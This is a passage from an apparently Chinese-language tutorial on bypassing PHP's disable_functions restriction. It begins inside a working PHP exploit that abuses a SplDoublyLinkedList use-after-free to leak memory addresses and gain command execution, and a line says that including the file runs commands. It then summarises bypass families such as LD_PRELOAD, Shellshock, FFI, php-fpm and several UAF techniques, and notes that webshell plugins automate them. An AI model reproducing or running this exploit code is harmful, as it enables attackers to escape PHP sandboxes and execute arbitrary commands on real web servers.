, 7 );     if  (!isset ($_GET ["test1" ]) && !isset ($_GET ["test2" ])) {         die ("[!]Please try to get address of PHP Chunk" );     }     if  (isset ($_GET ["test1" ])) {         die (dechex (bomb1 ($a )));     }     if  (isset ($_GET ["test2" ])) {         $elementAddress  = bomb2 ($a );     }     if  (!$elementAddress ) {         die ("[!]Get SplDoublyLinkedList Element Address Failed" );     }     bypass ($elementAddress , $a ); }$s  = new  SplDoublyLinkedList ();$s  -> push (new  Trigger ());$s  -> push ("Twings" );$s  -> push (function($x ){});for  ($x  = 0 ;$x  < 0x100 ;$x ++) {     $s  -> push (0x1234567812345678 ); }$s  -> rewind ();unset ($s [0 ]);
 
包含该php即可执行命令(141行)
总结 
大部分绕过方法在蚁剑中都有插件可以自动利用
 
绕过disable_functions的方法大致可以分为以下几类
1:寻找未禁用的函数
2:攻击后端组件:Apache_mod_cgi;ImageMagick;Bash Shellshock;
3:利用php的扩展:制作恶意php扩展;php74_FFI;windows com;imap_open();
4:利用环境变量或者so文件:LD_PRELOAD;php-fpm;iconv;
5:pwn:写shellcode劫持got表;php7_GC_UAF;JSON_Serializer_UAF;php7_Backtrace_UAF;php_Concat_UAF;php7_UserFilter;php7_ReflectionProperty_UAF;php7_SplDoublyLinkedList UAF;